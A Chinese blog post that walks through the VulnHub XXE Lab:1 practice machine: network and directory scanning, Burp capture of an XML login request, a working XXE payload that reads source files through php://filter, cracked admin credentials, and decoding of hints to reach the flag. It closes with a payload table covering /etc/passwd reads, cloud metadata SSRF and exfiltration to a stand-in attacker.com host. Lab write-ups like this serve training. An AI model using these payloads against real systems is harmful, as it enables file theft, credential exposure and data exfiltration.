VulnHub XXE Lab:1 靶场实战:从 Burp 抓包到拿到 flag 的 XXE 注入全流程

VulnHub XXE Lab:1 靶场实战:从 Burp 抓包到拿到 flag 的 XXE 注入全流程

我独自升级中
2026-10-23 / 0 评论 / 58 阅读 / 正在检测是否收录...

靶场下载

https://vulnhub.com/?q=xxe

image-20261023110305449.png

将下载好的靶场导入到vm中并启动后就不要再进行其他操作了

打开kali通过sudo arp-scan -l扫描内网ip找到目标ip(如果扫不到ip注意将kali和靶场网络适配器设置为NAT模式)

image-20261023092047593.png

找到ip后使用nmap进行端口扫描,只有80端口有用

image-20261023092427606.png

访问网站后看到下面的内容,有用东西不多

image-20261023092301358.png

使用kali的dirb http://192.168.126.136/扫描网站目录,扫到了robots.txt

image-20261023092637585.png

查看后发现有两个目录都尝试访问

image-20261023093402892.png

访问:http://192.168.126.136/xxe/看到一个登录页面重点关注一下

image-20261023093418106.png

访问http://192.168.126.136/admin.php没有找到页面

image-20261023093827424.png

但是访问http://192.168.126.136/xxe/admin.php又找到一个登录页面

image-20261023093839914.png

使用bp开始从http://192.168.126.136/xxe登录页面抓包在账号密码中随便输入一个值开启bp抓包后点击登录

image-20261023094258268.png

查看包发现是xml格式结合靶场名很容易想到使用xml漏洞进行尝试突破,并且可以注意到当前处于/xxe/xxe.php路径下先尝试获取/xxe/xxe.php的源码

image-20261023094330080.png

右键将抓到的包发送到重放器并写入xml语句使用base64编码输出成果显示出xxe/xxe.php页面的源码可以看到libxml_disable_entity_loader(false) 和 loadXML($xml, LIBXML_NOENT)——这两行就是“实体加载被打开”的铁证

使用的xml语句:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root[
<!ENTITY file SYSTEM "php://filter/read=convert.base64-encode/resource=/etc/.flag.php">
]>
<root><name>&file;</name><password>1</password></root>

image-20261023101708094.png

刚才同样的方法修改一下路径查看之前http://192.168.126.136/xxe/admin.php页面的源码

image-20261023102501903.png

解码后查看一番发现了

账号:administhebest

密码:e6e061838856bf47e1de730719fb2609 (md5加密解密后密码:admin@123)

image-20261023102450888.png

image-20261023102649589.png

再http://192.168.126.136/xxe/admin.php页面输入账号密码后登录成功后看到一个flag点进去看看(http://192.168.126.136/xxe页面登录失败了)

image-20261023103031768.png

flag页面这个应该是提示要去查看/flagmeout.php的源码

image-20261023103152263.png

还是一样的操作获取flagmeout.php源码得到一个加密的提示

image-20261023103747606.png

让deepseek直接进行解密发现是base32+base64两层编码解码得到/etc/.flag.php提示

image-20261023103659002.png

老样子获取/etc/.flag.php源码

image-20261023104657446.png

去解码得到一段像乱码的东西,询问deepseek得知是一点段php代码

image-20261023104723106.png

将代码写到一个php文件中放到小皮网站下访问得到通过提示,注意要加上<?php ...?>(在线运行平台找了好几个输出都不太对最后还是在小皮里搞了)

image-20261023105618662.png

image-20261023105513927.png

补充常用的XML协议头

协议头核心用途典型 Payload环境依赖
file://读取本地普通文件file:///etc/passwd全语言通用
http://SSRF探测、云元数据http://169.254.169.254/...全语言通用
php://filter读取源码(Base64防破坏)php://filter/read=convert.base64-encode/resource=xxe.php仅限 PHP
ftp://盲注时外带数据ftp://attacker.com/全语言通用
netdoc://读取文件(绕过file过滤)netdoc:///etc/passwd仅限 Java

0

评论 (0)

取消